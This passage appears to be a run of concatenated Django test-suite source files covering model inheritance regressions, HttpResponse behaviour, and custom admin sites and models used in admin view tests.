        orig_id = r.id
        r = Restaurant(place_ptr_id=orig_id, serves_pizza=True, serves_hot_dogs=False)
        r.save()
        self.assertEqual(r.id, orig_id)
        self.assertEqual(r.id, r.place_ptr_id)

    def test_issue_7488(self):
        # Regression test for #7488. This looks a little crazy, but it's the
        # equivalent of what the admin interface has to do for the edit-inline
        # case.
        suppliers = Supplier.objects.filter(
            restaurant=Restaurant(name='xx', address='yy'))
        suppliers = list(suppliers)
        self.assertEqual(suppliers, [])

    def test_issue_11764(self):
        """
        Regression test for #11764
        """
        wholesalers = list(Wholesaler.objects.all().select_related())
        self.assertEqual(wholesalers, [])

    def test_issue_7853(self):
        """
        Regression test for #7853
        If the parent class has a self-referential link, make sure that any
        updates to that link via the child update the right table.
        """
        obj = SelfRefChild.objects.create(child_data=37, parent_data=42)
        obj.delete()

    def test_get_next_previous_by_date(self):
        """
        Regression tests for #8076
        get_(next/previous)_by_date should work
        """
        c1 = ArticleWithAuthor(
            headline='ArticleWithAuthor 1',
            author="Person 1",
            pub_date=datetime.datetime(2005, 8, 1, 3, 0))
        c1.save()
        c2 = ArticleWithAuthor(
            headline='ArticleWithAuthor 2',
            author="Person 2",
            pub_date=datetime.datetime(2005, 8, 1, 10, 0))
        c2.save()
        c3 = ArticleWithAuthor(
            headline='ArticleWithAuthor 3',
            author="Person 3",
            pub_date=datetime.datetime(2005, 8, 2))
        c3.save()

        self.assertEqual(c1.get_next_by_pub_date(), c2)
        self.assertEqual(c2.get_next_by_pub_date(), c3)
        with self.assertRaises(ArticleWithAuthor.DoesNotExist):
            c3.get_next_by_pub_date()
        self.assertEqual(c3.get_previous_by_pub_date(), c2)
        self.assertEqual(c2.get_previous_by_pub_date(), c1)
        with self.assertRaises(ArticleWithAuthor.DoesNotExist):
            c1.get_previous_by_pub_date()

    def test_inherited_fields(self):
        """
        Regression test for #8825 and #9390
        Make sure all inherited fields (esp. m2m fields, in this case) appear
        on the child class.
        """
        m2mchildren = list(M2MChild.objects.filter(articles__isnull=False))
        self.assertEqual(m2mchildren, [])

        # Ordering should not include any database column more than once (this
        # is most likely to occur naturally with model inheritance, so we
        # check it here). Regression test for #9390. This necessarily pokes at
        # the SQL string for the query, since the duplicate problems are only
        # apparent at that late stage.
        qs = ArticleWithAuthor.objects.order_by('pub_date', 'pk')
        sql = qs.query.get_compiler(qs.db).as_sql()[0]
        fragment = sql[sql.find('ORDER BY'):]
        pos = fragment.find('pub_date')
        self.assertEqual(fragment.find('pub_date', pos + 1), -1)

    def test_queryset_update_on_parent_model(self):
        """
        Regression test for #10362
        It is possible to call update() and only change a field in
        an ancestor model.
        """
        article = ArticleWithAuthor.objects.create(
            author="fred",
            headline="Hey there!",
            pub_date=datetime.datetime(2009, 3, 1, 8, 0, 0))
        update = ArticleWithAuthor.objects.filter(
            author="fred").update(headline="Oh, no!")
        self.assertEqual(update, 1)
        update = ArticleWithAuthor.objects.filter(
            pk=article.pk).update(headline="Oh, no!")
        self.assertEqual(update, 1)

        derivedm1 = DerivedM.objects.create(
            customPK=44,
            base_name="b1",
            derived_name="d1")
        self.assertEqual(derivedm1.customPK, 44)
        self.assertEqual(derivedm1.base_name, 'b1')
        self.assertEqual(derivedm1.derived_name, 'd1')
        derivedms = list(DerivedM.objects.all())
        self.assertEqual(derivedms, [derivedm1])

    def test_use_explicit_o2o_to_parent_as_pk(self):
        """
        The connector from child to parent need not be the pk on the child.
        """
        self.assertEqual(ParkingLot3._meta.pk.name, "primary_key")
        # the child->parent link
        self.assertEqual(ParkingLot3._meta.get_ancestor_link(Place).name, "parent")

    def test_use_explicit_o2o_to_parent_from_abstract_model(self):
        self.assertEqual(ParkingLot4A._meta.pk.name, "parent")
        ParkingLot4A.objects.create(
            name="Parking4A",
            address='21 Jump Street',
        )

        self.assertEqual(ParkingLot4B._meta.pk.name, "parent")
        ParkingLot4A.objects.create(
            name="Parking4B",
            address='21 Jump Street',
        )

    def test_all_fields_from_abstract_base_class(self):
        """
        Regression tests for #7588
        """
        # All fields from an ABC, including those inherited non-abstractly
        # should be available on child classes (#7588). Creating this instance
        # should work without error.
        QualityControl.objects.create(
            headline="Problems in Django",
            pub_date=datetime.datetime.now(),
            quality=10,
            assignee="adrian")

    def test_abstract_base_class_m2m_relation_inheritance(self):
        # Check that many-to-many relations defined on an abstract base class
        # are correctly inherited (and created) on the child class.
        p1 = Person.objects.create(name='Alice')
        p2 = Person.objects.create(name='Bob')
        p3 = Person.objects.create(name='Carol')
        p4 = Person.objects.create(name='Dave')

        birthday = BirthdayParty.objects.create(
            name='Birthday party for Alice')
        birthday.attendees.set([p1, p3])

        bachelor = BachelorParty.objects.create(name='Bachelor party for Bob')
        bachelor.attendees.set([p2, p4])

        parties = list(p1.birthdayparty_set.all())
        self.assertEqual(parties, [birthday])

        parties = list(p1.bachelorparty_set.all())
        self.assertEqual(parties, [])

        parties = list(p2.bachelorparty_set.all())
        self.assertEqual(parties, [bachelor])

        # Check that a subclass of a subclass of an abstract model doesn't get
        # its own accessor.
        self.assertFalse(hasattr(p2, 'messybachelorparty_set'))

        # ... but it does inherit the m2m from its parent
        messy = MessyBachelorParty.objects.create(
            name='Bachelor party for Dave')
        messy.attendees.set([p4])
        messy_parent = messy.bachelorparty_ptr

        parties = list(p4.bachelorparty_set.all())
        self.assertEqual(parties, [bachelor, messy_parent])

    def test_abstract_verbose_name_plural_inheritance(self):
        """
        verbose_name_plural correctly inherited from ABC if inheritance chain
        includes an abstract model.
        """
        # Regression test for #11369: verbose_name_plural should be inherited
        # from an ABC even when there are one or more intermediate
        # abstract models in the inheritance chain, for consistency with
        # verbose_name.
        self.assertEqual(
            InternalCertificationAudit._meta.verbose_name_plural,
            'Audits'
        )

    def test_inherited_nullable_exclude(self):
        obj = SelfRefChild.objects.create(child_data=37, parent_data=42)
        self.assertQuerysetEqual(
            SelfRefParent.objects.exclude(self_data=72), [
                obj.pk
            ],
            attrgetter("pk")
        )
        self.assertQuerysetEqual(
            SelfRefChild.objects.exclude(self_data=72), [
                obj.pk
            ],
            attrgetter("pk")
        )

    def test_concrete_abstract_concrete_pk(self):
        """
        Primary key set correctly with concrete->abstract->concrete inheritance.
        """
        # Regression test for #13987: Primary key is incorrectly determined
        # when more than one model has a concrete->abstract->concrete
        # inheritance hierarchy.
        self.assertEqual(
            len([field for field in BusStation._meta.local_fields if field.primary_key]),
            1
        )
        self.assertEqual(
            len([field for field in TrainStation._meta.local_fields if field.primary_key]),
            1
        )
        self.assertIs(BusStation._meta.pk.model, BusStation)
        self.assertIs(TrainStation._meta.pk.model, TrainStation)

    def test_inherited_unique_field_with_form(self):
        """
        Test that a model which has different primary key for the parent model
        passes unique field checking correctly. Refs #17615.
        """
        class ProfileForm(forms.ModelForm):
            class Meta:
                model = Profile
                fields = '__all__'

        User.objects.create(username="user_only")
        p = Profile.objects.create(username="user_with_profile")
        form = ProfileForm({'username': "user_with_profile", 'extra': "hello"},
                           instance=p)
        self.assertTrue(form.is_valid())

    def test_inheritance_joins(self):
        # Test for #17502 - check that filtering through two levels of
        # inheritance chain doesn't generate extra joins.
        qs = ItalianRestaurant.objects.all()
        self.assertEqual(str(qs.query).count('JOIN'), 2)
        qs = ItalianRestaurant.objects.filter(name='foo')
        self.assertEqual(str(qs.query).count('JOIN'), 2)

    @expectedFailure
    def test_inheritance_values_joins(self):
        # It would be nice (but not too important) to skip the middle join in
        # this case. Skipping is possible as nothing from the middle model is
        # used in the qs and top contains direct pointer to the bottom model.
        qs = ItalianRestaurant.objects.values_list('serves_gnocchi').filter(name='foo')
        self.assertEqual(str(qs.query).count('JOIN'), 1)

    def test_issue_21554(self):
        senator = Senator.objects.create(
            name='John Doe', title='X', state='Y'
        )

        senator = Senator.objects.get(pk=senator.pk)
        self.assertEqual(senator.name, 'John Doe')
        self.assertEqual(senator.title, 'X')
        self.assertEqual(senator.state, 'Y')

    def test_inheritance_resolve_columns(self):
        Restaurant.objects.create(name='Bobs Cafe', address="Somewhere",
                                  serves_pizza=True, serves_hot_dogs=True)
        p = Place.objects.all().select_related('restaurant')[0]
        self.assertIsInstance(p.restaurant.serves_pizza, bool)

    def test_inheritance_select_related(self):
        # Regression test for #7246
        r1 = Restaurant.objects.create(
            name="Nobu", serves_hot_dogs=True, serves_pizza=False
        )
        r2 = Restaurant.objects.create(
            name="Craft", serves_hot_dogs=False, serves_pizza=True
        )
        Supplier.objects.create(name="John", restaurant=r1)
        Supplier.objects.create(name="Jane", restaurant=r2)

        self.assertQuerysetEqual(
            Supplier.objects.order_by("name").select_related(), [
                "Jane",
                "John",
            ],
            attrgetter("name")
        )

        jane = Supplier.objects.order_by("name").select_related("restaurant")[0]
        self.assertEqual(jane.restaurant.name, "Craft")

    def test_related_filtering_query_efficiency_ticket_15844(self):
        r = Restaurant.objects.create(
            name="Guido's House of Pasta",
            address='944 W. Fullerton',
            serves_hot_dogs=True,
            serves_pizza=False,
        )
        s = Supplier.objects.create(restaurant=r)
        with self.assertNumQueries(1):
            self.assertQuerysetEqual(
                Supplier.objects.filter(restaurant=r),
                [s], lambda x: x,
            )
        with self.assertNumQueries(1):
            self.assertQuerysetEqual(
                r.supplier_set.all(),
                [s], lambda x: x,
            )

    def test_queries_on_parent_access(self):
        italian_restaurant = ItalianRestaurant.objects.create(
            name="Guido's House of Pasta",
            address='944 W. Fullerton',
            serves_hot_dogs=True,
            serves_pizza=False,
            serves_gnocchi=True,
        )

        # No queries are made when accessing the parent objects.
        italian_restaurant = ItalianRestaurant.objects.get(pk=italian_restaurant.pk)
        with self.assertNumQueries(0):
            restaurant = italian_restaurant.restaurant_ptr
            self.assertEqual(restaurant.place_ptr.restaurant, restaurant)
            self.assertEqual(restaurant.italianrestaurant, italian_restaurant)

        # One query is made when accessing the parent objects when the instance
        # is deferred.
        italian_restaurant = ItalianRestaurant.objects.only('serves_gnocchi').get(pk=italian_restaurant.pk)
        with self.assertNumQueries(1):
            restaurant = italian_restaurant.restaurant_ptr
            self.assertEqual(restaurant.place_ptr.restaurant, restaurant)
            self.assertEqual(restaurant.italianrestaurant, italian_restaurant)

        # No queries are made when accessing the parent objects when the
        # instance has deferred a field not present in the parent table.
        italian_restaurant = ItalianRestaurant.objects.defer('serves_gnocchi').get(pk=italian_restaurant.pk)
        with self.assertNumQueries(0):
            restaurant = italian_restaurant.restaurant_ptr
            self.assertEqual(restaurant.place_ptr.restaurant, restaurant)
            self.assertEqual(restaurant.italianrestaurant, italian_restaurant)












# -*- coding: utf-8 -*-

from __future__ import unicode_literals

import io

from django.conf import settings
from django.core.cache import cache
from django.http import HttpResponse
from django.http.response import HttpResponseBase
from django.test import SimpleTestCase

UTF8 = 'utf-8'
ISO88591 = 'iso-8859-1'


class HttpResponseBaseTests(SimpleTestCase):
    def test_closed(self):
        r = HttpResponseBase()
        self.assertIs(r.closed, False)

        r.close()
        self.assertIs(r.closed, True)

    def test_write(self):
        r = HttpResponseBase()
        self.assertIs(r.writable(), False)

        with self.assertRaisesMessage(IOError, 'This HttpResponseBase instance is not writable'):
            r.write('asdf')
        with self.assertRaisesMessage(IOError, 'This HttpResponseBase instance is not writable'):
            r.writelines(['asdf\n', 'qwer\n'])

    def test_tell(self):
        r = HttpResponseBase()
        with self.assertRaisesMessage(IOError, 'This HttpResponseBase instance cannot tell its position'):
            r.tell()

    def test_setdefault(self):
        """
        HttpResponseBase.setdefault() should not change an existing header
        and should be case insensitive.
        """
        r = HttpResponseBase()

        r['Header'] = 'Value'
        r.setdefault('header', 'changed')
        self.assertEqual(r['header'], 'Value')

        r.setdefault('x-header', 'DefaultValue')
        self.assertEqual(r['X-Header'], 'DefaultValue')


class HttpResponseTests(SimpleTestCase):
    def test_status_code(self):
        resp = HttpResponse(status=503)
        self.assertEqual(resp.status_code, 503)
        self.assertEqual(resp.reason_phrase, "Service Unavailable")

    def test_change_status_code(self):
        resp = HttpResponse()
        resp.status_code = 503
        self.assertEqual(resp.status_code, 503)
        self.assertEqual(resp.reason_phrase, "Service Unavailable")

    def test_reason_phrase(self):
        reason = "I'm an anarchist coffee pot on crack."
        resp = HttpResponse(status=814, reason=reason)
        self.assertEqual(resp.status_code, 814)
        self.assertEqual(resp.reason_phrase, reason)

    def test_charset_detection(self):
        """ HttpResponse should parse charset from content_type."""
        response = HttpResponse('ok')
        self.assertEqual(response.charset, settings.DEFAULT_CHARSET)

        response = HttpResponse(charset=ISO88591)
        self.assertEqual(response.charset, ISO88591)
        self.assertEqual(response['Content-Type'], 'text/html; charset=%s' % ISO88591)

        response = HttpResponse(content_type='text/plain; charset=%s' % UTF8, charset=ISO88591)
        self.assertEqual(response.charset, ISO88591)

        response = HttpResponse(content_type='text/plain; charset=%s' % ISO88591)
        self.assertEqual(response.charset, ISO88591)

        response = HttpResponse(content_type='text/plain; charset="%s"' % ISO88591)
        self.assertEqual(response.charset, ISO88591)

        response = HttpResponse(content_type='text/plain; charset=')
        self.assertEqual(response.charset, settings.DEFAULT_CHARSET)

        response = HttpResponse(content_type='text/plain')
        self.assertEqual(response.charset, settings.DEFAULT_CHARSET)

    def test_response_content_charset(self):
        """HttpResponse should encode based on charset."""
        content = "Café :)"
        utf8_content = content.encode(UTF8)
        iso_content = content.encode(ISO88591)

        response = HttpResponse(utf8_content)
        self.assertContains(response, utf8_content)

        response = HttpResponse(iso_content, content_type='text/plain; charset=%s' % ISO88591)
        self.assertContains(response, iso_content)

        response = HttpResponse(iso_content)
        self.assertContains(response, iso_content)

        response = HttpResponse(iso_content, content_type='text/plain')
        self.assertContains(response, iso_content)

    def test_repr(self):
        response = HttpResponse(content="Café :)".encode(UTF8), status=201)
        expected = '<HttpResponse status_code=201, "text/html; charset=utf-8">'
        self.assertEqual(repr(response), expected)

    def test_wrap_textiowrapper(self):
        content = "Café :)"
        r = HttpResponse()
        with io.TextIOWrapper(r, UTF8) as buf:
            buf.write(content)
        self.assertEqual(r.content, content.encode(UTF8))

    def test_generator_cache(self):
        generator = ("{}".format(i) for i in range(10))
        response = HttpResponse(content=generator)
        self.assertEqual(response.content, b'0123456789')
        with self.assertRaises(StopIteration):
            next(generator)

        cache.set('my-response-key', response)
        response = cache.get('my-response-key')
        self.assertEqual(response.content, b'0123456789')






"""
A second, custom AdminSite -- see tests.CustomAdminSiteTests.
"""
from __future__ import unicode_literals

from django.conf.urls import url
from django.contrib import admin
from django.contrib.auth.admin import UserAdmin
from django.contrib.auth.models import User
from django.http import HttpResponse

from . import admin as base_admin, forms, models


class Admin2(admin.AdminSite):
    app_index_template = 'custom_admin/app_index.html'
    login_form = forms.CustomAdminAuthenticationForm
    login_template = 'custom_admin/login.html'
    logout_template = 'custom_admin/logout.html'
    index_template = ['custom_admin/index.html']  # a list, to test fix for #18697
    password_change_template = 'custom_admin/password_change_form.html'
    password_change_done_template = 'custom_admin/password_change_done.html'

    # A custom index view.
    def index(self, request, extra_context=None):
        return super(Admin2, self).index(request, {'foo': '*bar*'})

    def get_urls(self):
        return [
            url(r'^my_view/$', self.admin_view(self.my_view), name='my_view'),
        ] + super(Admin2, self).get_urls()

    def my_view(self, request):
        return HttpResponse("Django is a magical pony!")

    def password_change(self, request, extra_context=None):
        return super(Admin2, self).password_change(request, {'spam': 'eggs'})


class UserLimitedAdmin(UserAdmin):
    # used for testing password change on a user not in queryset
    def get_queryset(self, request):
        qs = super(UserLimitedAdmin, self).get_queryset(request)
        return qs.filter(is_superuser=False)


class CustomPwdTemplateUserAdmin(UserAdmin):
    change_user_password_template = ['admin/auth/user/change_password.html']  # a list, to test fix for #18697


site = Admin2(name="admin2")

site.register(models.Article, base_admin.ArticleAdmin)
site.register(models.Section, inlines=[base_admin.ArticleInline])
site.register(models.Thing, base_admin.ThingAdmin)
site.register(models.Fabric, base_admin.FabricAdmin)
site.register(models.ChapterXtra1, base_admin.ChapterXtra1Admin)
site.register(User, UserLimitedAdmin)
site.register(models.UndeletableObject, base_admin.UndeletableObjectAdmin)
site.register(models.Simple, base_admin.AttributeErrorRaisingAdmin)

simple_site = Admin2(name='admin4')
simple_site.register(User, CustomPwdTemplateUserAdmin)






from __future__ import unicode_literals

from django.conf.urls import url
from django.contrib import admin
from django.contrib.auth.models import User
from django.test import TestCase, override_settings
from django.test.client import RequestFactory
from django.urls import reverse

from .models import Article

site = admin.AdminSite(name="test_adminsite")
site.register(User)
site.register(Article)

urlpatterns = [
    url(r'^test_admin/admin/', site.urls),
]


@override_settings(ROOT_URLCONF='admin_views.test_adminsite')
class SiteEachContextTest(TestCase):
    """
    Check each_context contains the documented variables and that available_apps context
    variable structure is the expected one.
    """
    @classmethod
    def setUpTestData(cls):
        cls.u1 = User.objects.create_superuser(username='super', password='secret', email='super@example.com')

    def setUp(self):
        factory = RequestFactory()
        request = factory.get(reverse('test_adminsite:index'))
        request.user = self.u1
        self.ctx = site.each_context(request)

    def test_each_context(self):
        ctx = self.ctx
        self.assertEqual(ctx['site_header'], 'Django administration')
        self.assertEqual(ctx['site_title'], 'Django site admin')
        self.assertEqual(ctx['site_url'], '/')
        self.assertIs(ctx['has_permission'], True)

    def test_each_context_site_url_with_script_name(self):
        request = RequestFactory().get(reverse('test_adminsite:index'), SCRIPT_NAME='/my-script-name/')
        request.user = self.u1
        self.assertEqual(site.each_context(request)['site_url'], '/my-script-name/')

    def test_available_apps(self):
        ctx = self.ctx
        apps = ctx['available_apps']
        # we have registered two models from two different apps
        self.assertEqual(len(apps), 2)

        # admin_views.Article
        admin_views = apps[0]
        self.assertEqual(admin_views['app_label'], 'admin_views')
        self.assertEqual(len(admin_views['models']), 1)
        self.assertEqual(admin_views['models'][0]['object_name'], 'Article')

        # auth.User
        auth = apps[1]
        self.assertEqual(auth['app_label'], 'auth')
        self.assertEqual(len(auth['models']), 1)
        user = auth['models'][0]
        self.assertEqual(user['object_name'], 'User')

        self.assertEqual(auth['app_url'], '/test_admin/admin/auth/')
        self.assertIs(auth['has_module_perms'], True)

        self.assertIn('perms', user)
        self.assertIs(user['perms']['add'], True)
        self.assertIs(user['perms']['change'], True)
        self.assertIs(user['perms']['delete'], True)
        self.assertEqual(user['admin_url'], '/test_admin/admin/auth/user/')
        self.assertEqual(user['add_url'], '/test_admin/admin/auth/user/add/')
        self.assertEqual(user['name'], 'Users')






# -*- coding: utf-8 -*-
from __future__ import unicode_literals

import datetime
import os
import tempfile
import uuid

from django.contrib.auth.models import User
from django.contrib.contenttypes.fields import (
    GenericForeignKey, GenericRelation,
)
from django.contrib.contenttypes.models import ContentType
from django.core.exceptions import ValidationError
from django.core.files.storage import FileSystemStorage
from django.db import models
from django.utils.encoding import python_2_unicode_compatible


@python_2_unicode_compatible
class Section(models.Model):
    """
    A simple section that links to articles, to test linking to related items
    in admin views.
    """
    name = models.CharField(max_length=100)

    def __str__(self):
        return self.name

    @property
    def name_property(self):
        """
        A property that simply returns the name. Used to test #24461
        """
        return self.name


@python_2_unicode_compatible
class Article(models.Model):
    """
    A simple article to test admin views. Test backwards compatibility.
    """
    title = models.CharField(max_length=100)
    content = models.TextField()
    date = models.DateTimeField()
    section = models.ForeignKey(Section, models.CASCADE, null=True, blank=True)
    another_section = models.ForeignKey(Section, models.CASCADE, null=True, blank=True, related_name='+')
    sub_section = models.ForeignKey(Section, models.SET_NULL, null=True, blank=True, related_name='+')

    def __str__(self):
        return self.title

    def model_year(self):
        return self.date.year
    model_year.admin_order_field = 'date'
    model_year.short_description = ''

    def model_year_reversed(self):
        return self.date.year
    model_year_reversed.admin_order_field = '-date'
    model_year_reversed.short_description = ''


@python_2_unicode_compatible
class Book(models.Model):
    """
    A simple book that has chapters.
    """
    name = models.CharField(max_length=100, verbose_name='¿Name?')

    def __str__(self):
        return self.name


@python_2_unicode_compatible
class Promo(models.Model):
    name = models.CharField(max_length=100, verbose_name='¿Name?')
    book = models.ForeignKey(Book, models.CASCADE)

    def __str__(self):
        return self.name


@python_2_unicode_compatible
class Chapter(models.Model):
    title = models.CharField(max_length=100, verbose_name='¿Title?')
    content = models.TextField()
    book = models.ForeignKey(Book, models.CASCADE)

    def __str__(self):
        return self.title

    class Meta:
        # Use a utf-8 bytestring to ensure it works (see #11710)
        verbose_name = '¿Chapter?'


@python_2_unicode_compatible
class ChapterXtra1(models.Model):
    chap = models.OneToOneField(Chapter, models.CASCADE, verbose_name='¿Chap?')
    xtra = models.CharField(max_length=100, verbose_name='¿Xtra?')

    def __str__(self):
        return '¿Xtra1: %s' % self.xtra


@python_2_unicode_compatible
class ChapterXtra2(models.Model):
    chap = models.OneToOneField(Chapter, models.CASCADE, verbose_name='¿Chap?')
    xtra = models.CharField(max_length=100, verbose_name='¿Xtra?')

    def __str__(self):
        return '¿Xtra2: %s' % self.xtra


class RowLevelChangePermissionModel(models.Model):
    name = models.CharField(max_length=100, blank=True)


class CustomArticle(models.Model):
    content = models.TextField()
    date = models.DateTimeField()


@python_2_unicode_compatible
class ModelWithStringPrimaryKey(models.Model):
    string_pk = models.CharField(max_length=255, primary_key=True)

    def __str__(self):
        return self.string_pk

    def get_absolute_url(self):
        return '/dummy/%s/' % self.string_pk


@python_2_unicode_compatible
class Color(models.Model):
    value = models.CharField(max_length=10)
    warm = models.BooleanField(default=False)

    def __str__(self):
        return self.value


# we replicate Color to register with another ModelAdmin
class Color2(Color):
    class Meta:
        proxy = True


@python_2_unicode_compatible
class Thing(models.Model):
    title = models.CharField(max_length=20)
    color = models.ForeignKey(Color, models.CASCADE, limit_choices_to={'warm': True})
    pub_date = models.DateField(blank=True, null=True)

    def __str__(self):
        return self.title


@python_2_unicode_compatible
class Actor(models.Model):
    name = models.CharField(max_length=50)
    age = models.IntegerField()
    title = models.CharField(max_length=50, null=True, blank=True)

    def __str__(self):
        return self.name


@python_2_unicode_compatible
class Inquisition(models.Model):
    expected = models.BooleanField(default=False)
    leader = models.ForeignKey(Actor, models.CASCADE)
    country = models.CharField(max_length=20)

    def __str__(self):
        return "by %s from %s" % (self.leader, self.country)


@python_2_unicode_compatible
class Sketch(models.Model):
    title = models.CharField(max_length=100)
    inquisition = models.ForeignKey(
        Inquisition,
        models.CASCADE,
        limit_choices_to={
            'leader__name': 'Palin',
            'leader__age': 27,
            'expected': False,
        },
    )
    defendant0 = models.ForeignKey(
        Actor,
        models.CASCADE,
        limit_choices_to={'title__isnull': False},
        related_name='as_defendant0',
    )
    defendant1 = models.ForeignKey(
        Actor,
        models.CASCADE,
        limit_choices_to={'title__isnull': True},
        related_name='as_defendant1',
    )

    def __str__(self):
        return self.title


def today_callable_dict():
    return {"last_action__gte": datetime.datetime.today()}


def today_callable_q():
    return models.Q(last_action__gte=datetime.datetime.today())


@python_2_unicode_compatible
class Character(models.Model):
    username = models.CharField(max_length=100)
    last_action = models.DateTimeField()

    def __str__(self):
        return self.username


@python_2_unicode_compatible
class StumpJoke(models.Model):
    variation = models.CharField(max_length=100)
    most_recently_fooled = models.ForeignKey(
        Character,
        models.CASCADE,
        limit_choices_to=today_callable_dict,
        related_name="+",
    )
    has_fooled_today = models.ManyToManyField(Character, limit_choices_to=today_callable_q, related_name="+")

    def __str__(self):
        return self.variation


class Fabric(models.Model):
    NG_CHOICES = (
        ('Textured', (
            ('x', 'Horizontal'),
            ('y', 'Vertical'),
        )),
        ('plain', 'Smooth'),
    )
    surface = models.CharField(max_length=20, choices=NG_CHOICES)


@python_2_unicode_compatible
class Person(models.Model):
    GENDER_CHOICES = (
        (1, "Male"),
        (2, "Female"),
    )
    name = models.CharField(max_length=100)
    gender = models.IntegerField(choices=GENDER_CHOICES)
    age = models.IntegerField(default=21)
    alive = models.BooleanField(default=True)

    def __str__(self):
        return self.name


@python_2_unicode_compatible
class Persona(models.Model):
    """
    A simple persona associated with accounts, to test inlining of related
    accounts which inherit from a common accounts class.
    """
    name = models.CharField(blank=False, max_length=80)

    def __str__(self):
        return self.name


@python_2_unicode_compatible
class Account(models.Model):
    """
    A simple, generic account encapsulating the information shared by all
    types of accounts.
    """
    username = models.CharField(blank=False, max_length=80)
    persona = models.ForeignKey(Persona, models.CASCADE, related_name="accounts")
    servicename = 'generic service'

    def __str__(self):
        return "%s: %s" % (self.servicename, self.username)


class FooAccount(Account):
    """A service-specific account of type Foo."""
    servicename = 'foo'


class BarAccount(Account):
    """A service-specific account of type Bar."""
    servicename = 'bar'


@python_2_unicode_compatible
class Subscriber(models.Model):
    name = models.CharField(blank=False, max_length=80)
    email = models.EmailField(blank=False, max_length=175)

    def __str__(self):
        return "%s (%s)" % (self.name, self.email)


class ExternalSubscriber(Subscriber):
    pass


class OldSubscriber(Subscriber):
    pass


class Media(models.Model):
    name = models.CharField(max_length=60)


class Podcast(Media):
    release_date = models.DateField()

    class Meta:
        ordering = ('release_date',)  # overridden in PodcastAdmin


class Vodcast(Media):
    media = models.OneToOneField(Media, models.CASCADE, primary_key=True, parent_link=True)
    released = models.BooleanField(default=False)


class Parent(models.Model):
    name = models.CharField(max_length=128)

    def clean(self):
        if self.name == '_invalid':
            raise ValidationError('invalid')


class Child(models.Model):
    parent = models.ForeignKey(Parent, models.CASCADE, editable=False)
    name = models.CharField(max_length=30, blank=True)

    def clean(self):
        if self.name == '_invalid':
            raise ValidationError('invalid')


@python_2_unicode_compatible
class EmptyModel(models.Model):
    def __str__(self):
        return "Primary key = %s" % self.id


temp_storage = FileSystemStorage(tempfile.mkdtemp())
UPLOAD_TO = os.path.join(temp_storage.location, 'test_upload')


class Gallery(models.Model):
    name = models.CharField(max_length=100)


class Picture(models.Model):
    name = models.CharField(max_length=100)
    image = models.FileField(storage=temp_storage, upload_to='test_upload')
    gallery = models.ForeignKey(Gallery, models.CASCADE, related_name="pictures")


class Language(models.Model):
    iso = models.CharField(max_length=5, primary_key=True)
    name = models.CharField(max_length=50)
    english_name = models.CharField(max_length=50)
    shortlist = models.BooleanField(default=False)

    class Meta:
        ordering = ('iso',)


# a base class for Recommender and Recommendation
class Title(models.Model):
    pass


class TitleTranslation(models.Model):
    title = models.ForeignKey(Title, models.CASCADE)
    text = models.CharField(max_length=100)


class Recommender(Title):
    pass


class Recommendation(Title):
    the_recommender = models.ForeignKey(Recommender, models.CASCADE)


class Collector(models.Model):
    name = models.CharField(max_length=100)


class Widget(models.Model):
    owner = models.ForeignKey(Collector, models.CASCADE)
    name = models.CharField(max_length=100)


class DooHickey(models.Model):
    code = models.CharField(max_length=10, primary_key=True)
    owner = models.ForeignKey(Collector, models.CASCADE)
    name = models.CharField(max_length=100)


class Grommet(models.Model):
    code = models.AutoField(primary_key=True)
    owner = models.ForeignKey(Collector, models.CASCADE)
    name = models.CharField(max_length=100)


class Whatsit(models.Model):
    index = models.IntegerField(primary_key=True)
    owner = models.ForeignKey(Collector, models.CASCADE)
    name = models.CharField(max_length=100)


class Doodad(models.Model):
    name = models.CharField(max_length=100)


class FancyDoodad(Doodad):
    owner = models.ForeignKey(Collector, models.CASCADE)
    expensive = models.BooleanField(default=True)


@python_2_unicode_compatible
class Category(models.Model):
    collector = models.ForeignKey(Collector, models.CASCADE)
    order = models.PositiveIntegerField()

    class Meta:
        ordering = ('order',)

    def __str__(self):
        return '%s:o%s' % (self.id, self.order)


def link_posted_default():
    return datetime.date.today() - datetime.timedelta(days=7)


class Link(models.Model):
    posted = models.DateField(default=link_posted_default)
    url = models.URLField()
    post = models.ForeignKey("Post", models.CASCADE)
    readonly_link_content = models.TextField()


class PrePopulatedPost(models.Model):
    title = models.CharField(max_length=100)
    published = models.BooleanField(default=False)
    slug = models.SlugField()


class PrePopulatedSubPost(models.Model):
    post = models.ForeignKey(PrePopulatedPost, models.CASCADE)
    subtitle = models.CharField(max_length=100)
    subslug = models.SlugField()


class Post(models.Model):
    title = models.CharField(max_length=100, help_text="Some help text for the title (with unicode ŠĐĆŽćžšđ)")
    content = models.TextField(help_text="Some help text for the content (with unicode ŠĐĆŽćžšđ)")
    readonly_content = models.TextField()
    posted = models.DateField(
        default=datetime.date.today,
        help_text="Some help text for the date (with unicode ŠĐĆŽćžšđ)"
    )
    public = models.NullBooleanField()

    def awesomeness_level(self):
        return "Very awesome."


# Proxy model to test overridden fields attrs on Post model so as not to
# interfere with other tests.
class FieldOverridePost(Post):
    class Meta:
        proxy = True


@python_2_unicode_compatible
class Gadget(models.Model):
    name = models.CharField(max_length=100)

    def __str__(self):
        return self.name


@python_2_unicode_compatible
class Villain(models.Model):
    name = models.CharField(max_length=100)

    def __str__(self):
        return self.name


class SuperVillain(Villain):
    pass


@python_2_unicode_compatible
class FunkyTag(models.Model):
    "Because we all know there's only one real use case for GFKs."
    name = models.CharField(max_length=25)
    content_type = models.ForeignKey(ContentType, models.CASCADE)
    object_id = models.PositiveIntegerField()
    content_object = GenericForeignKey('content_type', 'object_id')

    def __str__(self):
        return self.name


@python_2_unicode_compatible
class Plot(models.Model):
    name = models.CharField(max_length=100)
    team_leader = models.ForeignKey(Villain, models.CASCADE, related_name='lead_plots')
    contact = models.ForeignKey(Villain, models.CASCADE, related_name='contact_plots')
    tags = GenericRelation(FunkyTag)

    def __str__(self):
        return self.name


@python_2_unicode_compatible
class PlotDetails(models.Model):
    details = models.CharField(max_length=100)
    plot = models.OneToOneField(Plot, models.CASCADE, null=True, blank=True)

    def __str__(self):
        return self.details


class PlotProxy(Plot):
    class Meta:
        proxy = True


@python_2_unicode_compatible
class SecretHideout(models.Model):
    """ Secret! Not registered with the admin! """
    location = models.CharField(max_length=100)
    villain = models.ForeignKey(Villain, models.CASCADE)

    def __str__(self):
        return self.location


@python_2_unicode_compatible
class SuperSecretHideout(models.Model):
    """ Secret! Not registered with the admin! """
    location = models.CharField(max_length=100)
    supervillain = models.ForeignKey(SuperVillain, models.CASCADE)

    def __str__(self):
        return self.location


@python_2_unicode_compatible
class Bookmark(models.Model):
    name = models.CharField(max_length=60)
